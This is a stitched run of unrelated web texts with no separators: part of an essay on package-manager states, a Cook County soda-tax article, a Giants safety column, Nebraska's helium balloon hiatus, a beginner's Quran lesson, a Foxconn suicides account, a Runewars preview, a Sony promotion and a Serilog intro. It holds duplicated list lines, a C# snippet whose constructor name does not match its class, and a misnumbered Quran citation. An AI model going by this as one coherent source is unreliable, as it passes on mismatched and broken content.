can render your own computer unusable.
- Leslie Lamport If that sounds like hell — you’re right! Anything that doesn’t have to behave like a distributed system, shouldn’t. You can’t allow person A’s poor use of your PDM to prevent person B’s build from working. So, if language constraints leave you no other choice, the only recourse is to blow away the committed deps-of-deps when putting them into place on disk. That’s all for this bit. Pretty simple, as promised. The Dance of the Four States OK, we’ve been through the details on each of the states and protocols. Now we can step back and assemble the big picture. There’s a basic set of commands that most PDMs provide to users. Using the common/intuitive names, that list looks something like this: init: Create a manifest file, possibly populating it based on static analysis of the existing code.
Create a manifest file, possibly populating it based on static analysis of the existing code. add: Add the named package[s] to the manifest.
Add the named package[s] to the manifest. rm: Remove the named package[s] from the manifest. (Often omitted, because text editors exist).
Remove the named package[s] from the manifest. (Often omitted, because text editors exist). update: Update the pinned version of package[s] in the lock file to the latest available version allowed by the manifest.
Update the pinned version of package[s] in the lock file to the latest available version allowed by the manifest. install: Fetch and place all dep sources listed in the lock file, first generating a lock file from the manifest if it does not exist. Our four-states concept makes it easy to visualize how each of these commands interacts with the system. (For brevity, let’s also abbreviate our states to P[roject code], M[anifest], L[ock file], and D[ependency code]):
Each command reads the state at the arrow’s source in order to mutate the state at the arrow’s target. add/rm might be triggered from static analysis, but typically come from the user’s knowledge of what needs doing. install implicitly creates a lock file, if needed.
Cool. But there are obvious holes — do I really have to run two or three separate commands (add, update, install) to pull in packages? That’d be annoying. And indeed, composer’s require (their ‘add’ equivalent) also pushes through the manifest to update the lock, then fetches the source package and dumps it to disk. npm, on the other hand, subsumes the ‘add’ behavior into their install command, requiring additional parameters to change either the manifest or the lock. (As I pointed out earlier, npm historically opted for duplicated deps/trees over graphs; this made it reasonable to focus primarily on output deps, rather than following the state flows I describe here.) So, npm requires extra user interaction to update all the states. Composer does it automatically, but the command’s help text still describes them as discrete steps. I think there’s a better way. A New-ish Idea: Map, Sync, Memo Note: this is off the beaten path. As far as I know, no PDM is as aggressive as this approach. It’s something we may experiment with in Glide. Perhaps it was clear from the outset, but part of my motivation for casting the PDM problem in terms of states and protocols was to create a sufficiently clean model that it would be possible to define the protocols as one-way transformation functions: f : P → M : To whatever extent static analysis can infer dependency identifiers or parameterization options from the project’s source code, |
reached to avoid more spending cuts during the county’s current budget year. Even so, the penny-an-ounce soda tax stands to be one of the shortest-lived in Illinois history at only four months. Delayed by a month due to an Illinois Retail Merchants Association lawsuit, the tax didn’t take effect until Aug. 2.
Big Soda’s win here is remarkable, both because Cook County is by far the largest jurisdiction in the country where such a tax was enacted and that it comes after a series of defeats elsewhere.
Cook County Board finance committee meeting Oct. 10, 2017. (Nancy Stone / Chicago Tribune) (Nancy Stone / Chicago Tribune)
Despite spending tens of millions of dollars to oppose soda taxes last November in three California locales — San Francisco, Oakland and Albany — each city won approval through voter referendums for penny-an-ounce taxes on sugar-sweetened beverages. That was a year after voters in Boulder, Colo., approved a 2 cents-an-ounce tax on sugar beverages.
The Philadelphia City Council approved a 1.5 cent-an-ounce tax on both sugary and diet beverages earlier in 2015. It’s still in place, despite a concerted effort by the American Beverage Association to highlight what it calls an unfair, regressive tax that harms local store owners.
The industry group has won some battles, getting voters in Santa Fe, N.M., to reject a soda tax in a referendum earlier this year. Just last week, the Michigan legislature sent to the governor a measure aimed at preventing local governments from enacting soda taxes.
A similar opposition effort was launched in Cook County last November after Preckwinkle broke a rare 8-8 tie to approve the tax, which she maintains is needed to prevent harmful cuts to public health and criminal justice system programs. She called the tax the only option she could get the board to approve — and one that also had the public health benefit of reducing consumption of sugar and the ailments like obesity, diabetes and heart disease that it can exacerbate.
Preckwinkle enlisted to her cause former New York Mayor Michael Bloomberg, a billionaire public health advocate. The media empire owner spent more than $10 million on TV and radio ads promoting the public health benefits of the tax — an effort many observers felt may have backfired. That sentiment was voiced at Tuesday’s committee meeting.
“That’s to me very insulting to me, every time I see those commercials,” Robert Ellis told commissioners during several hours of testimony before the vote. “I get more and more angry, because I don’t need some Gotham City billionaire telling me how to live my life here in Cook County.”
“Repeal this tax yesterday,” Ellis said. “Whoever thought of this — they need to think again.”
Ellis’ opinion was among 3,968 opinions expressed, through online forms, written statements or public testimony, in the lead-up to the committee vote, board Secretary Matthew DeLeon said. Of those, more than 79 percent were in favor of repeal.
Some were surely motivated by the Can the Tax campaign, which included more than $3.2 million spent on TV and radio ads urging repeal, not including what it paid to send out mailers, hire $11-an-hour neighborhood canvassers to get the message out and paid public affairs consultants to work the media.
Also playing a role, noted Commissioner John Fritchey, a Chicago Democrat who has opposed the tax from the start, was “tax fatigue.” In recent years, city residents have been hit with a record city property tax increase, large boosts in the Chicago Public Schools property tax levy, higher water bills and a recent major state income tax hike. “Simply put, the financial health of too many of my constituents is in critical condition, and I cannot in good conscience add to their suffering,” he said.
In the end, the strong opposition to the pop tax, combined with commissioners’ fear that they’d be ripe targets for defeat in next year’s elections, overcame any sway held by the tax’s increasingly isolated backers, including public health advocates, unions representing county workers and county officials appointed by Preckwinkle.
"It looks like diabetes is the big winner here today," said Elissa Bassler, CEO of the Illinois Public Health Institute. "Congratulations."
Bassler called the pop tax “good public policy to ensure the health of children and families of Cook County and ensure vital health and public safety services.”
Within hours of Preckwinkle’s 2018 budget presentation last week, in which she warned of 11 percent across-the-board cuts to vital county services, influential Democratic Finance Committee Chairman John Daley, who voted for the tax last year, announced he would vote the will of the residents in his district and back repeal. Three other commissioners, including Jesus “Chuy" Garcia, a Chicago Democrat who is Preckwinkle’s floor leader, joined him the next day.
That created a veto-proof majority of 12 — it takes 11 votes to override — making it a futile and politically risky vote for anyone who voted against repeal, especially given the pledges by pop sellers to put their money where their mouths were when it came to defeating pop tax supporters in next year’s elections.Brandon Meriweather hasn't exactly been received with open arms by fans of the New York Giants. Many in the fan base can't get past their distaste for Meriweather's reputation as a cheap shot artist after his multiple violations of the league's helmet-to-helmet hit policy. There is also the small matter of the fact Meriweather has spent most of his eight-year career with two hated rivals, the New England Patriots and Washington Redskins.
There were some positive comments about the move in our post on Sunday detailing the signing. The majority of fans, however, couldn't seem to stomach a player with Meriweather's reputation being a Giant. Or the idea that he must be a terrible player if he was still looking for work before Sunday.
Here are a couple examples of the vitriol spewed after the signing was announced:
There are plenty more like this. I get it. Meriweather is not an easy player to like -- in fact, he's always been an easy player for Giants fans to hate. His reputation for illegal hits is well-founded. There are also questions about just how much Meriweather has left in the tank. He's a two-time Pro Bowler, but his last Pro Bowl was 2010, and the Giants are his third team since his salad days in New England.
So, why did the Giants do this?
Let's start here. Have you seen who the Giants safeties are? Jeromy Miles has three starts in a five-year NFL career -- and those are the only NFL starts made at safety by any current Giant other than Meriweather.
Giants training camp hub page Find everything you need to keep up with what's happening at Giants training camp right here.
The 31-year-old Meriweather has played in 99 NFL games since the Patriots selected him in the first round in 2007, starting 68 of those.
How often have fans complained about the Giants not having any experienced, veteran safeties on the roster? How many comments have there been wondering why GM Jerry Reese didn't go out and get one? Now, seeing the need and with a roster spot after the season-ending injury to Mykkele Thompson, Reese has FINALLY added a gray beard to the safety group. And now the complaint has shifted to the one Reese chose to sign.
Sure, Meriweather more than likely is not the player he was with the Patriots, though he insists "I know I am." And sure, we can revive the argument that the Giants should have found some common ground and kept Antrel Rolle. That ship has sailed, though, so let's not.
Meriweather is probably more than a "camp body." If the Giants wanted one of those, they would have signed an undrafted rookie who would have been thrilled to spend a couple of weeks in an NFL camp even if he didn't have a clue what was going on or any real chance to make the team. What the Giants really needed was help. With Thompson gone, Landon Collins and Nat Berhe uncertain for the time being, and no one with a proven ability to quarterback or organize the secondary the Giants needed to find someone with the experience and confidence to do just that. Someone the defense could rely on to make the proper calls in a timely fashion. If Meriweather was only a camp body, he wouldn't have been getting reps Sunday in 11-on-11 drills just a couple of hours after signing.
Listen to middle linebacker Jon Beason, who played with Meriweather collegiately at Miami.
"Extremely intelligent player, could be coaching one day. Understands fronts, run fits, coverage, entry angles, how to break on the ball. That's how you get big hits, taking the proper steps and anticipation," Beason said. "He's going to help us tremendously, a veteran, another voice back there, and I think it's going to make our secondary a lot better."
Pro Football Focus will tell you Meriweather isn't very good against the pass. Fans of the Washington Redskins probably agree. He is still a plus run defender, and is also a guy with experience making calls in the secondary and getting his teammates lined up. That is incredibly important, and it's something Meriweather should be able to do while the young players around him learn their craft. Maybe Meriweather can help accelerate the learning process for the youngsters, help get the training wheels off faster.
In short, the Giants needed veteran help at safety. They got it. Maybe Meriweather isn't your first choice, and maybe he wasn't the Giants' first choice, either. The Giants, though, have finally done what fans have wanted them to do for months -- added an established safety.
Be thankful that the Giants recognized the need for some veteran leadership in the back of the defense -- even if it took far too long -- and finally did something about it.
Now, about that offensive line...Helium Shortage Puts Touchdown Balloons on Hiatus
Randy York's N-Sider
O ne of Nebraska's top five football traditions will be altered for the 2012 season opener and then go on indefinite hiatus until and unless a global helium shortage is solved. The odds of that happening any time soon appear rather prohibitive, so Husker fans who love watching Big Red balloons go up, up and away after Nebraska's first touchdown every home game will have to be understandably patient, if not appreciatively creative when the air temporarily comes out of a tradition that dates back to Memorial Stadium games in the 1940s.
Before going on hiatus, the release of red helium-filled balloons will get at least one final curtain call in Nebraska's season-opener against Southern Miss on Saturday, Sept. 1. But instead of expecting 4,000 to 5,000 balloons celebrating that first touchdown, expect 2,000 to 2,500 balloons, giving Nebraska fans one last traditional touchdown release. That way, Big Red fans can take pictures with both their cameras and their minds while media and staff photographers commemorate the occasion with photos that just might define an historical footnote.
Fortunately, Nebraska's four other major football traditions will go into extra gear to compensate for one that Nebraska Sports Information Director Emeritus Don Bryant says has been around since a student-based women's group "hawked" red helium-filled balloons on "O" Street in the 1940s. "They would sell those balloons downtown hours before kickoff and then sell whatever they had left inside the stadium, along with food and popcorn," Bryant said.
Priorities: Hospitals and Industrial Construction
What that group started will now be temporarily on hold. Nebraska's traditional provider of helium for touchdown balloons has no current supply and will not have any until late September or early October, at the earliest. Even more importantly, when that helium becomes available, there are higher causes for its use. Hospitals are the No. 1 priority for available national helium (for MRI machines). Industrial construction (for arc welding) comes next. Even the staunchest fans would favor helium for those two causes ahead of football games, weddings, birthdays, babies and product launches.
Janell Hall, the director of Concession Operations in her 33rd year with Nebraska's Athletic Department, coordinates Big Red Touchdown balloon sales. She's helped make each home game's flight of balloons a time-honored tradition. The costs to produce the helium on Game Day has been part of the Concessions Department's responsibilities, and that first touchdown sight is every bit as important to Hall as a pre-game flyover.
"A student organization used to handle the balloons from the Student Union," Hall recalled. "As the costs went up, the Athletic Department took over sales. We started charging for balloons, but changed our policy, thanks to First National Bank's sponsorship that allowed us to give balloons away because they' re such an important part of our game day atmosphere. Releasing balloons before that first touchdown is a tradition that's been important to us, so we did our due diligence before we made any decision."
Ethan Rowley, director of Athletic Marketing, agrees. "We've exhausted our possibilities to continue this tradition at this point in time," he said, pointing out that Hall has checked every available option, and nothing looks promising. "We're not necessarily permanently shelving this tradition," Rowley said. "We're just putting it on hiatus until the helium inventory is replenished."
Although the shortage might take months, it's more likely to take years. "We want to be good stewards," Rowley said. "We don't want to take away helium from hospitals and industries that need it more than we do right now."
First Game: Last Chance for a Long Time?
In the interim, Athletic Marketing still has a few tanks from last year that will produce 2,000 to 2,500 balloons for the first game. After the season opener, Nebraska's plan is to hold one tank of helium back for the remaining six games and then come up with a way to symbolize the balloon tradition for the rest of the season.
One idea is to feature a "Touchdown Balloon Kid of the Game". Each honoree would release a small batch of balloons (no more than a dozen) from either the field or a corner of the stadium. "That would allow us to keep a small measure of the tradition through the hiatus," Rowley said. "Whenever helium supply is restored, we can explore the opportunity to restart our tradition, which seems to be a fan favorite and one of our most visible."
Meanwhile, Nebraska fans will cherish their other four primary traditions more than ever:
1) The Marching Band's pregame spectacular;
2) The Husker Power chant just before The Tunnel Walk where half of Memorial Stadium yells "Husker!" in unison while the other half answers "Power!";
3) The Tunnel Walk entrance that blends psych-up videos of Husker legends with highlights of current players while the song Sirius seriously stirs the emotions through the magical music of Alan Parsons Project ; and
4) "Throwing the Bones", the fans' exclamation point that celebrates a Blackshirt making a big play and then crossing his arms in an X across his chest, affirming the skull and crossbones logo that has been used by the Blackshirts since the 1960s.
Mural Celebrates the Touchdown Tradition
Whether Nebraska loses one of its unique football traditions temporarily or for a much longer period of time, Husker fans will find a way to pick up the slack. Personally, all I intend to change is the tense when I describe why balloons are featured in a Mike Sullivan Mural that was unveiled before Nebraska consecutive sellout No. 300 just three seasons ago.
The mural hangs in the North Stadium lobby. It is the largest mosaic tile mural in North America. At the top of the mural are four banks of stadium lights and 21 red balloons, depicting another sold-out Memorial Stadium with players celebrating while red balloons take flight to signal Nebraska's first touchdown of the game.
That mural is still historically accurate, but an eight-decade tradition is winding down through the fault of no one. So make sure you appreciate the red-helium balloon release in the season-opener. It may be the last big batch of balloons you see for quite some time.
Send a comment to ryork@huskers.com (Please include current residence)
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Randy's N-Sider Blog ArchiveObjectives
· To understand what exactly is the Quran.
· To learn the basics about Quran and how it is organized.
· To know the major themes inclusive in the Quran.
· To understand the style of the Quran in discussing its themes.
Arabic Terms
· Surah – chapter of the Quran.
· Ramadan - The ninth month of the Islamic lunar calendar. It is the month in which the obligatory fasting has been prescribed.
· Juz’ - one of thirty parts of the Quran.
· Aayaat - (singular – ayah) the word aayaat can have many meanings. It is almost always used when talking about proofs from Allah. These include evidences, verses, lessons, signs, and revelations.
In three lessons, we will focus on some basic issues a beginner will face when approaching the Quran. What is the Quran and how is it organized? What are its major themes and its style of presentation? What are some good translations for a beginner, and what must we keep in mind when reading them? Can the Quran be interpreted freely according to one’s heart? What if I don’t understand something I read? Where do I go to get answers? Finally, what frame of mind should I have before I open and read the Quran?
Exactly What is The Quran?
The Quran is the literal, spoken Word of Allah revealed to the last Prophet Muhammad, may the mercy and blessings of Allah be upon him, through Gabriel, the Angel of Revelation, transmitted to us by numerous channels, both verbally and in written form. Inimitable and unique, it is divinely protected from corruption. God says:
‘Indeed, it is We who sent down the message [i.e., the Qur'an] and indeed, We will be its guardian.’ (Quran 15:9)
The Basics
The first thing for a beginner to understand about the Quran is its form. The Arabic word, ‘Quran,’ literally means both ‘recitation’ and ‘reading’. Similarly, the Quran was both recited orally and written down in book form. The true power of the Quran remains in the oral recitation, as it is meant to be read aloud and melodiously, but still the verses were written down on available materials as an aid to memorizing and guarding it, and these were collected and arranged in book form both privately and, at a later stage, institutionally. The Quran was not meant to tell a chronological story, and thus, the Quran should not be viewed as a sequential narrative like the book of Genesis.
The Quran often repeats certain verses and themes, shifting topics between them, and often relates narratives in summarized form. We can see two reasons for this. First, it serves a linguistic purpose and is one of the powerful rhetorical techniques of classical Arabic. Second, all themes of the Quran, no matter how varied, are wrapped around one common thread running through the entire book: there is no true god but Allah, and Muhammad is His messenger. The Quran, unlike the Bible, is not concerned with genealogies, chronological events, or minute historical details, many of which don’t suit an oral discourse. The purpose is to use events, from past and present, to illustrate this central message. So when the Quran is discussing the healing properties of honey or the life of Jesus, neither topic is an end in itself, but each is related in one way or another to the central message – the Oneness of God and unity of the prophetic message.
Another important point to keep in mind is that the Quran was not revealed in one sitting, but rather it was revealed in parts over a span of 23 years. Many passages were in response to specific events. Often, Quranic revelation would come from the angel Gabriel to Prophet Muhammad as a response to questions raised by unbelievers. The Quran addresses these unbelievers, the People of the Scripture (a term used by the Quran for Jews and Christians), humanity at large, believers, and, finally, the Prophet himself - commanding him what to do in a certain situation or solacing him in the face of ridicule and rejection. Knowing the historical and social context of revelation clarifies the meanings contained in the text itself.
How is The Quran Organized?
The Quran is composed of 114 parts or chapters of unequal length. Each chapter is called a surah in Arabic and each sentence or phrase of the Quran is called an ayah, literally ‘a sign.’ Like the Bible, the Quran is divided into discrete units, referred to as ‘verses’ in English. These verses are not standard in length and where each begins and ends was not decided by human beings, but dictated by God. Each one is a discrete act of locution of closed signification, or ‘sign’, denoted by the word ayah in Arabic. All surahs, except one, begin with Bimillah hir-Rahman nir-Rahim, ‘I begin with the Name of Allah, the Most-Merciful, the Compassionate.’ Each surah has a name that usually relates to a central theme within it. For example, the longest surah, Surah al-Baqarah, or “The Cow”, is named after the story of Moses commanding the Jews to offer a sacrifice of a cow, which begins by God saying:
“And remember Moses said to his people: ‘Allah commands that you sacrifice a cow.’” (Quran 2:67)
Since the various chapters are of various lengths, the Quran was divided by scholars of the first century after the death of the Prophet into thirty roughly equal parts, each part is called a juz’ in Arabic. This division of the Quran was done in order for people to memorize or read it in a more organized fashion, and it has no influence on the original structure, as they are mere marks on the sides of the pages denoting the part. In the month of fasting, Ramadan, one juz’ is usually recited every night, and the entire Quran is completed by the end of the month.
Style of the Quran
What topics does the Quran discuss? It covers various subjects. Most importantly, it talks about the Oneness of Allah and how to live a life pleasing to Him. Other topics include religious doctrine, creation, criminal and civil law, Judaism, Christianity and polytheism, social values, morality, history, stories of past prophets, and science. The most important features of Quran’s style in discussing these themes are:
(1) The use of parables to stir curiosity of the reader and explain deep truths.
(2) More than two hundred passages begin with the Arabic word Qul - ‘Say’ - addressing Prophet Muhammad to say what follows in reply to a question, to explain a matter of faith, or to announce a legal ruling. For example:
“Say: ‘O People of the Scripture! Do you disapprove of us for no other reason than that we believe in Allah, and the revelation that has come to us and that which came before (us), and because most of you are rebellious and disobedient?’” (Quran 2:59)
(3) In some passages of the Quran, Allah takes oaths by His marvelous creation, both to strengthen an argument or to dispel doubts in the mind of the listener:
“By the sun and its brightness,
By the moon when it follows it,
By the day when it displays it,
By the night when it covers it,
By the sky and He who constructed it,
By the earth and He who spread it,
By the soul and He who proportioned it…” (Quran 91:1-7)
Sometimes Allah takes an oath by Himself:
“But no, by your Lord, they will not (truly) believe until they make you, (O Muhammad), judge concerning that over which they dispute among themselves, and then find within themselves no discomfort from what you have judged and submit in (full, willing) submission.” (Quran 4:65)
(4) Lastly, the Quran has what is called ‘the disjointed letters,’ composed of letters of the Arabic alphabet which, if taken together, do not have a known meaning in the Arabic lexicon. This was one of the ways that Allah challenged the Arabs, who were the most eloquent of people in speech, to bring forth something to the Quran, which consisted of the likes of these disjointed letters. They appear at the beginning of twenty-nine surahs. For example, the first aayah of Surah al-Baqarah appears in different translations as:
Yusuf Ali: A.L.M.
Pickthal: Alif. Lam. Mim.
Muhsin Khan: Alif-Lam-Mim.The Foxconn Suicides were a spate of suicides linked to low pay at the so-called " Foxconn City " industrial park in Shenzhen, China, that occurred alongside several additional suicides at various other Foxconn-owned locations and facilities in Mainland China. [1] Within 2010, there were 18 attempted suicides by Foxconn employees resulting in 14 deaths in the same year. [2] [3] [4] The series of suicides drew media attention, and employment practices at Foxconn—one of the world’s largest contract electronics manufacturers—were investigated by several of its customers, including Apple and Hewlett-Packard (HP). [5]
While 2010 was a notable year for the company in numbers of suicides, preceding years saw suicides being reported as well.
However, one expert claimed that employees were treated comparatively well at Foxconn. Boy Lüthje, of Germany's Institute of Social Research, told the Economist that the company pays a minimum monthly wage of 900 yuan (US$130) as well as providing free recreational facilities, food, and lodging for employees at some of its factory complexes. Overtime, however, may be routinely demanded. [40]
Labor activists stated the suicides supported their assertion that numerous labor abuses take place at Foxconn. [38] Economic conditions external to the company also might have been influential— during the same year, several major strike actions at other high-profile manufacturers occurred in China, and the Lewisian turning-point is a macro-economic factor that might provide context for the events. If the above factors are true, it shows that there has been some inconsistency between Foxconn's labor condition and the newest progress in China's economy. [39]
ABC News [32] and The Economist [33] both have done some simple comparison— although the number of workplace suicides at Foxconn is large in absolute terms, the suicide rate is actually lower when compared to the overall suicide rate of China [34] or the United States. [35] According to a 2011 Centre for Disease Control and Prevention report, the country has a high suicide rate with approximately 22.23 deaths per 100,000 persons. [36] In 2010, the worst year for workplace suicides at Foxconn with a total of 14 deaths, its employee count was a reported 930,000 people. [37]
Foxconn clients Edit
Apple issued a public statement about the suicides, and company spokesperson Steven Dowling said: "[Apple is] saddened and upset by the recent suicides at Foxconn... A team from Apple is independently evaluating the steps they are taking to address these tragic events, and we will continue our ongoing inspections of the facilities where our products are made." The statement was released after the results from the company's probe into its suppliers' labor practices were published in early 2010. Foxconn was not specifically named in the report, but Apple suggested poor treatment of workers in facilities that manufacture its products may include violations of labor laws, violations of Apple's own rules for suppliers, and child labor.[38] (Workers as young as 14 could legally work in China through special programs around the time this report was compiled.)[citation needed]
Apple committed to the implementation of changes following the suicides, but in late 2014 news reports of labor issues at another factory of a Chinese supplier also surfaced.[41]
Reports Edit
The 2010 suicides prompted 20 Chinese universities to compile an 83-page report on Foxconn, which they described as a "labor camp." Interviews of 1,800 Foxconn workers at 12 factories found evidence of illegal overtime and failure to report accidents. The report also criticized Foxconn's management style, which it called inhumane and abusive.[3][3] Additionally, long working hours,[42] discrimination of mainland Chinese workers by their Taiwanese coworkers,[43] and a lack of working relationships[44] were all presented as potential problems in the university report.
A 2012 audit of Foxconn performed by the Fair Labor Association, at the request of Apple Inc., suggested that workplace accidents might be commonplace and that workers may consider overtime pay insufficient.[45]
Crisis Management Edit
During the first two and a half months, which included six of the fourteen completed suicides, Foxconn took a "no comment" approach to their business crisis.[46] Foxconn left their crisis situation vulnerable to media attacks by taking a "no comment" approach, which allowed the media to fill in their own information about the suicides.[47] Li and Xu made a statement, in their case study about the business's suicides, that, "Foxconn's series of employee suicides were severe events in the mind of the general public, and its 'no comment' strategy led to a more negative perception of its reputation and severe consequences."[46] After the sixth suicide, Liu Kun, a spokesperson for Foxconn, stated that they were handling the crisis.[46] He also started using a "denial strategy" to avoid any blame for the suicides and instead directed the fault at "the victims and societal problems."[46]
One of the ways Foxconn started handling the crisis was to require that employees sign a waiver stating that Foxconn would not be made liable if any individuals were to commit suicide.[48] This, however, caused more troubles for Foxconn; therefore, they eventually retracted the document. After they removed the waiver, they installed safety nettings around the facility to prevent future suicides.[48] Foxconn also implemented a pay raise from 950 yuan to 1200 yuan but they in turn increased their quota by twenty percent as well.[49] Lastly, Foxconn opened their doors to two-hundred journalists.[46] Foxconn informed the writers that they were taking extra steps for the future; which included safety nettings and more help hotlines for employees to be able to call.[46]
Foxconn Edit
The chairman of Foxconn, Terry Gou, made the following statement at a press conference focused on the controversy: "We are certainly not running a sweatshop. We are confident we'll be able to stabilize the situation soon. A manufacturing team of 800,000 people is very difficult to manage." At the time of the company's press conference, the factory complex where the deaths occurred employed up to 300,000 people.[38][50]
In response to the suicides, Foxconn substantially increased wages for its Shenzhen factory workforce,[51] installed suicide-prevention netting,[52] brought in Buddhist monks to conduct prayer sessions,[42] and asked employees to sign no-suicide pledges.[53] Workers were also required to sign a legally binding document guaranteeing that they and their descendants would not sue the company as a result of unexpected death, self-injury, or suicide.[54]
Protests Edit
In May 2010, the Students & Scholars Against Corporate Misbehaviour (SACOM) group held a protest in the lobby of Foxconn's Hong Kong headquarters. Around 25 protestors laid mannequins to rest and conducted funeral rites, while a spokesperson informed the media and onlookers: "We are staging the protest because of the high death rate [at Foxconn], with an abnormal number of workers committing suicide in the past five months".[50] Activists from the Hong Kong Confederation of Trade Unions were also present and held signs that read: "Foxconn lacks a conscience" and "Suicide is no accident." They also burned cardboard cutouts resembling iPhones.[38]
The family of Ma Xianqian, one of the dead workers, protested outside the Foxconn factory. On 28 May 2010, demonstrators protested outside Hon Hai’s Taipei headquarters laying flowers for those who had died at the Foxconn plant. Taiwan unions and labor activists were also present at the Taipei protest, and displayed banners that displayed Chinese text that translate into English as: "For wealth and power—physical and mental health spent, hopes lost" and "For profit of the brand—youth spent, dreams shattered."[55]
8 June 2010, the date of Foxconn’s Annual General Meeting, saw student protesters from an anti-Foxconn Hong Kong non-profit, Hong Kong labor unions, and rights groups demonstrated outside a Hong Kong Apple store.[55]
A small group of young organizers picketed at an Apple store in San Francisco on 17 June 2010. The protesters carried placards showing the names and ages of the dead workers.[55]"The weak have forgotten who we are. We were exiles, yes—but heirs, also. Heirs to Llovar, the greatest of us all. Now the Westmen, the Dhawc, and the Ylairc shall know the bite of Llovar’s locusts once more!"
–Malaana, witch of the Blood Coven
Long ago, the world met darkness. Beneath red banners, horror gripped the land. Wandering, thirsty, and bloodied by rage, they swarmed the land like locust: mindless, hungry, and darkened by magic. They swallowed the land like pigs. Beneath red skies, cursed and terrible, the horrors of unseen, unheard, and undreamt were born. But that evil died out ages ago… didn’t it?
As the battle for Terrinoth continues, a fourth faction joins the fray with the Uthuk Y’llan Army Expansion! The demons of generations past have returned with this massive expansion that includes twenty-two miniatures for you to build your demonic army. Under the command of Ravos the Everhungry, who we examined in a previous preview, the Uthuk Y’llan Army Expansion offers sixteen Berserkers, four Flesh Rippers, and one Spined Thresher. Additionally, this expansion includes twelve upgrade cards to strengthen your Ynfernael forces and equip them to spill rivers of blood in your name. Today, Fantasy Flight Games is pleased to offer a closer look at the demons that fill the ranks of the Uthuk Y’llan army in Runewars Miniatures Game!
Berserkers
Surrendering to the darkness of the Ynfernael corrupts everyone, twisting the souls and bodies of those who would use its power. Unnatural growths erupt from beneath the skin and madness burns cruelty and bloodlust into the minds of those touched by its dark power. Thus is the fate of the Uthuk Y’llan. Many of these once-proud people of the steppes have become the shrieking Berserkers of the Uthuk army—howling demons stripped of all humanity as they rush into battle, desperate for the carnage promised by the theater of war.
The Berserkers' erratic speed and violent nature is reflected in their action dial. In addition to three blue march actions falling between initiatives three and six, the Berserkers have a white march one modifier that can be paired with any action, keeping them mobile amidst the chaos of battle.
The tribesmen of the steppes have no loyalty to a realm or to one another. They will readily sacrifice one of their own to increase their frenzy and enact their unit card ability. When participating in a melee, the Berserkers may choose to suffer a wound to gain Lethal 1 for the duration of the melee. However, if the Berserkers' ranks become too decreased, they will be unable to spread choas throughout the realm. Therefore, they may only use this abily twice per melee.
Flesh Rippers
Any who look into the glowing eyes of the Flesh Rippers know that death is soon to follow. Once one of these hell hounds has caught the scent of blood beating in the heart of its target, it will not give up the hunt until it has claimed the life of the damned. They answer only to their summoners, and at times even this is not enough to keep them from ripping their Uthuk handlers to shreds. When participating in a melee, these demonic cavalry units roll one red die and two blue dice—often equipping them with surges to unleash a new level of blood-fueled madness. The Flesh Rippers special ability states that they can spend multiple surges, dealing one damage to an engaged enemy unit for each surge spent. A bloodthirsty commander can even use the red action modifier on the Flesh Ripper’s command tool, which grants both a morale and a surge icon, to guarantee that their dark cavalry will deal at least one damage.
Apart from preparing them for battle, the Flesh Rippers’ command tool emphasizes the demons’ supernatural speed. It is heavy with actions and modifiers focused on marches, shifts, and reforms. At initiative five, the Flesh Rippers may tap into their link to the Ynfernael to perform a march action equal to the number of unstable energy runes in play. If the forces of darkness grant their favor, this may allow your Flesh Rippers to move at a speed of four, the highest in the game. Even if the runes cast on the battlefield fall against the Flesh Rippers, they possess a blue march two modifier that can be paired with any of other march actions. Simply put, for sheer speed the Flesh Rippers are unmatched by any creature found on the mortal plane.
Spined Threshers
The most difficult demons for the Uthuk’s blood witches to control are the fearsome Spined Threshers. These fiendish crabs are known to destroy entire martial units or tear down fortified towers single-handed, acting separately from their Uthuk allies, but still inflicting massive amounts of damage. Similar to the Berserkers, the Spined Threshers feature a white march one modifier, granting them greater mobility than many other siege units in the game. Their demonic presence also strikes fear into the heart of any mortal they face in battle. When participating in a melee, the Spined Threshers may pair their attack with a red modifier that not only provides a bonus hit, but a morale icon as well.
A skilled tactician commanding these scuttling horrors can make even seemingly simple upgrades deadly. The Uthuk Y’llan Army Expansion includes the Bull Pennon upgrade, which can be used with any army faction and equips the paired unit with the Impact 1 keyword. When a unit charging under the Bull Pennon collides with an enemy unit, that unit receives one panic token. This is particularly deadly when used alongside the Spined Threshers who feed off the fear of their enemies. During a melee, if the defender has a panic token, the player commanding the Spined Threshers may reroll a die. Considering that these demons roll two heavy hitting red dice when attacking, this bonus roll can practically ensure that |
$1 a month. Just in time for the holidays, Sony Network Entertainment International today announced that starting November 20, 2012, for a limited time, PlayStation®Plus members can subscribe to the company's Music Unlimited service Premium One Year Subscription plan for $12 (€11.99)2 3. Also available for limited time, other customers who do not have a PlayStation®Plus membership can also take advantage of a special Music Unlimited service yearly subscription plan for $59.99 (€59.99).
Memberships for PlayStation®Plus and the Music Unlimited service can be purchased through the PlayStation®Store on the PlayStation®3 system. Users can also subscribe to the Music Unlimited service by visiting http://www.sonyentertainmentnetwork.com.
Sony Entertainment Network's Music Unlimited service is a cloud-based digital music service that hosts a global catalog of over 18 million licensed songs4 and is available on a wide range of Sony and non-Sony connected devices including any computer (including PC and Mac), iOS devices including iPhone and iPod touch, Android devices including smartphones and tablets, the PlayStation®3 (PS3™) computer entertainment system, PlayStation®Vita, and connected Sony BRAVIA HDTVs as well as various Sony home audio and video devices.NLog, Log4Net, MS Enterprise Library, SmartInspect, ObjectGuy, Logary. There are plenty of frameworks to choose from when it comes to logging on the.NET platform. You can even setup logging right out of the box by using System.Diagnostics.
Also logging is really easy to achieve – here is a very naive logging “framework”:
class LogR : StreamWriter { public Logger() : base(File.OpenWrite("log.txt")) { } }
In 2013 Nicholas Blumhardt released a new logging framework called Serilog as OSS.
So why reinvent the wheel?
The typical log framework’s approach to logging is strongly based around moving strings around. In log4net it starts with:
logger.Info("hello world");
Serilog takes a different path; while strings are still quite central it supports logging of deep object structures. And if you are using a log-store that supports these objects (typically NoSQL) they will be logged like that.
Besides the new approach to log structures, it’s very easy to setup and configure via a fluent interface and it has a simple API for runtime enrichment of logged data. Data can be logged to almost anywhere via ‘sinks’, e.g. files, SQL Server, Email, etc.
Structured logging
Logging with Serilog starts with a template and some parameters:
logger.Information("User {user} unable to pay {order}", currentUser, currentOrder);
But instead of just turning the template into a string, it takes the names that you provided in the template and turns it into names with structured values. It all ends up in a logevent object, so in this case the finally structured version will look like this:
{ "@timestamp": "2015-03-01T12:56:08.6575818+01:00", "level": "Information", "messageTemplate": "User {user} unable to pay {order}", "message": "User \"Serilog_playground.User\" unable to pay \"Playground.Order\"", "fields": { "user": "Playground.User", "order": "Playground.Order" } }
